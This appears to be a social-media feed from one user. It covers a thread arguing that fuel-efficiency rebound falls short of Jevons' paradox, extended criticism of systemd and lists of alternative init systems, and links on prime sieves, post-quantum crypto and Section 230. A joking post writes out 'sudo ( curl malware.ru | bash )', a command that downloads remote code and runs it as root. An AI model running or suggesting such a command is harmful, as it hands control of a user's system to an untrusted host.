dragosr

Induced demand from highway expansion may matter as much as fuel cost rebound for VMT growth. Fuel efficiency improvements do save fuel — roughly 75-90% of the expected savings stick. A catchy name shouldn’t override the weight of evidence. 5/5

Small & Van Dender’s simultaneous-equations model found a long-run rebound of ~22%, shrinking to ~11% in recent data. As incomes rise, fuel cost becomes a trivial share of driving decisions. The effect is getting smaller over time, not larger. 4/5

The study uses 2009 survey data — one snapshot during a recession with volatile gas prices. People who expect to drive a lot buy efficient cars, reversing the causal arrow. OLS regression misses this endogeneity and inflates the rebound estimate. 3/5

Income, urban sprawl, road infrastructure, and total ownership cost drive VMT far more than fuel price. Fuel is ~15-25% of car costs. Depreciation, insurance, and financing dominate. VMT tracks income growth and suburban expansion more closely than efficiency gains. 2/5

The broader literature disagrees with this. The rebound effect is real but most rigorous estimates land at 10-25% — well short of the >100% threshold needed for actual Jevons’ paradox. A few reasons this study overshoots. 🧵1/5

Peer-reviewed study (n=12,000) finds that those who have been far as decided to use even go want to do look more like report a 23% increase in something, probably.

Friends don't let friends OpenClaw. You might as well just "sudo ( curl malware.ru | bash )" and save some time.

Seems more tragic than funny to me but we all have different ways of reacting to sad situations.

Our real only hope is AI. A few very experienced developers supercharged with modern LLM tools could be productive enough to broach that enormous gulf with intense effort if the motivation somehow struck them. But until / if that happens we are stuck with the ShitBorg.

GNOME has adamantly refused a modular back end. KDE has been a little more flexible... but the cost of building an alternative exceeds the benefit for any single actor. And elogind exists as a pressure release valve that keeps the situation tolerable enough that nobody is forced to solve it properly

It's a chicken and egg problem too. Unless one of the major distros defects from the systemd camp there isn't enough adoption to replace logind. Desktop Linux market share is so small that non-systemd users are rounding error. The people who could build an alternative are maintaining elogind/seatd..

There is no real specification for what a session manger should expose. Architectural coupling with logind and Gnome/KDE are probably the biggest hurdles.

Poettering and the other devs have been adamantly refusing to decouple logind and dbus from systemd PID1. They abandoned ConsoleKit.

Systemd is a giant blob of shit, slowly (and not so slowly) growing and engulfing all the functionality in the operating system in a huge monolithic turd.

It is the exact opposite of modular and creates this inescapable mother of all single points of failure and complexity.

Nearly all upstream projects ship with systemd unit files, if you use an alternative you have to spend a lot of time writing an maintaining init scripts. The old init file ecosystem has atrophied.

Dependency sprawl basically.

Then there is the networking stack. And timer units instead of crontabs.

Void, Artix, Gentoo, Alpine, Chimera... and others maintain independence but have to go through serious pain and non-trivial development to keep from being assimilated by systemd Borg...

Systemd has been one giant mis-step and the further we go down that path the more difficult it gets to unfuck...

The problem is the lock-in - desktop environments Gnome, KDE heavily depend on the logind D-bus API - elogind exists but it lags and needs patching.

systemd owns cgroup, and docker, podman et al wired in to systemd managing cgroup.

So many things coupled to libsystemd and udev. The systemd Borg...

The list of complaints about systemd is so long that it's unmanageable without its own GitHub repo tree.

Would you rather have powershell instead? That's fully viable on Linux now.

There are others too Finit, nosh, procd, InitNG, minit, Upstart.... I'm sure I'm overlooking some other <letter>init combo too... there are LOTS of choices.

I can go on and on about bad design decision in it. But you asked for alternatives. Everyone will reach for good old sysvinit, but there are other choices: runit, OpenRC, dinit, sinit, Sheperd, busybox init, s6, s6+rc - and that's just for the init parts. There are loads of alternates for other bits

Ok before I answer let me first explain what the problem is. "We need a better init" became "we need to rewrite every system daemon" (and throw ssh and the kitchen sink in) and the coupling between these components makes it difficult to accept the good parts without accepting the entire stack.

I think butthurt is the wrong word for we loathe it and want to kill it with fire, then take its overly complex, overreaching ashes and launch them into the sun so that no one can reconstruct its evil ever again.

Under India’s pressure, Facebook let propaganda and hate speech thrive Facebook has retreated from its professed ideals in India under pressure from Prime Minister Narendra Modi’s Bharatiya Janata Party.

Here we go. Free, no-reg versions of favorite stories from my four years at the Washington Post. First, three pieces from our Pulitzer-finalist series on how India's ruling party coerced U.S. tech giants into violating their own policies. www.washingtonpost.com/world/2023/0...

GitHub - secwest/fast-prime Contribute to secwest/fast-prime development by creating an account on GitHub.

I gave LLM agents an Ultra9 285K and no token budgets, and told them to optimize prime number sieves. When they started, finding and counting all the primes representable in 64 bit integers (216,289,611,853,439,384) was going to take ~4,800,000 years.

Four days later, now down to 202 seconds.

He has made a career out of fictional LLM failures, aparently.

So when we started to make microprocessors, calculator chip production took a hit too.

HBM takes approximately three times the fab capacity of client DDR, but they are getting Tb/s at server bit widths...

A question about how Signal added post-quantum crypto to the Double Ratchet sent me down a rabbit hole. I built interactive visualizations of ML-KEM (Kyber) and HQC algorithm layers, plus Signal's Triple Ratchet upgrade:
secwest.github.io/post-quantum...
secwest.github.io/triple-ratch...

This is pretty evil, abusive treatment of folks with ADHD in the UK...

For everyone that is so confident about the reports of the AI vendors businesses being unprofitable - a look at what we can expect for LLM economics.

secwest.github.io/llm-cost-das...

The Internet Still Works: Wikipedia Defends Its Editors Section 230 helps make it possible for online communities to host user speech: from restaurant reviews, to fan fiction, to collaborative encyclopedias. But recent debates about the law often overlook

Wikipedia receives hundreds of legal demands every year to remove user-written content. Almost all are rejected. We spoke with Wikimedia’s legal team about how Section 230 helps protect volunteer editors and public knowledge. www.eff.org/pages/inter...